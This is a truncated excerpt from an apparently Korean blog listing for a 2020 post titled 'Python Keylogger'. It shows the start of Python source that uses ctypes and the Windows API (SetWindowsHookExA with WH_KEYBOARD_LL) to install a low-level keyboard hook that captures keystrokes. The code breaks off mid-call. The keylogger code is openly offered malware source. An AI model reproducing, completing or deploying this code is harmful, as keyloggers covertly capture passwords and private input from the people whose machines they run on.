python keylogger1 2. Python 키로거(Keylogger) import sys from ctypes import * from ctypes.wintypes import MSG from ctypes.wintypes import DWORD user32 = windll.user32 kernel32 = windll.kernel32 WH_KEYBOARD_LL = 13 WM_KEYDOWN = 0x0100 CTRL_CODE = 162 saveKey=[] class keyLogger: def __init__(self): self.lUser32 = user32 self.hooked = None def installHookProc(self, pointer): self.hooked = self.lUser32.SetWindowsHookExA( WH_KEYBOARD_LL, pointer.. 2020. 6. 9. 이전 1 다음